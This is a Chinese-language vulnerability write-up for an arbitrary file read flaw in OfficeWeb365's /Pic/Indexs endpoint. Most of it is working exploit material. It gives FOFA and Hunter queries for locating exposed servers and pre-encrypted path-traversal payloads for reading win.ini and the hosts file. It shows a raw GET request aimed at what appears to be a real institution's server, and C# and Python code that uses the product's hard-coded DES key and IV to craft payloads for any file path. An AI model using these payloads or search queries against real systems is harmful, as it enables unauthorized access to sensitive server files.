OfficeWeb365任意文件读取

OfficeWeb365任意文件读取

OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞，攻击者可通过独特的加密方式对payload进行加密，读取任意文件，获取服务器敏感信息，使系统处于极不安全的状态。

资产搜索

FOFA：body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"

鹰图：web.body="请输入furl参数"

漏洞复现：

网站根路径+/Pic/Indexs?imgs=加密后的地址

读取c:\Windows\win.ini：网站根路径+/Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09
读取c:\windows\system32\drivers\etc\hosts：网站根路径+/Pic/Indexs?imgs=6pQyzPQHRNEy4NP7jXEzojhi0auIyDxqtdWuPX+Vpu9xV6HoX3eDoUHyK0XtH6Up09

GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09  HTTP/1.1
Host: oa.sdipct.edu.cn:8088
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

加密方法

Enc("/../../Windows/win.ini");

static string Enc(string plainText)
{

// 定义 DES 算法的密钥和初始化向量
byte[] Keys = new byte[] { 102, 16, 93, 156, 78, 4, 218, 32 };
byte[] Iv = new byte[] { 55, 103, 246, 79, 36, 99, 167, 3 };

// 将明文转换为字节数组
byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);

// 创建 DES 加密服务提供程序，并设置密钥和初始化向量
DESCryptoServiceProvider desCryptoServiceProvider = new DESCryptoServiceProvider
{
Key = Keys,
IV = Iv
};

// 创建内存流以存储加密后的数据
MemoryStream memoryStream = new MemoryStream();

// 创建 DES 加密器
ICryptoTransform transform = desCryptoServiceProvider.CreateEncryptor();

// 使用 CryptoStream 执行加密
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
{
cryptoStream.Write(plainBytes, 0, plainBytes.Length);
cryptoStream.FlushFinalBlock();
}

// 将加密后的数据转换为 Base64 字符串
string encryptedText = Convert.ToBase64String(memoryStream.ToArray());

return encryptedText+"09";
}

使用python制作加密路径

from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
import base64

def Enc(plainText):
    # 定义 DES 算法的密钥和初始化向量
    keys = bytes([102, 16, 93, 156, 78, 4, 218, 32])
    iv = bytes([55, 103, 246, 79, 36, 99, 167, 3])
    # 将明文转换为字节数组并进行填充
    plainBytes = plainText.encode('utf-8')
    paddedBytes = pad(plainBytes, DES.block_size)
    # 创建 DES 加密器
    desCrypto = DES.new(keys, DES.MODE_CBC, iv)
    # 执行加密
    cipherText = desCrypto.encrypt(paddedBytes)
    # 将加密后的数据转换为 Base64 字符串
    encryptedText = base64.b64encode(cipherText).decode('utf-8')
    return encryptedText + "09"

encrypted = Enc("/../../windows\system32\drivers\etc\hosts")
print(encrypted)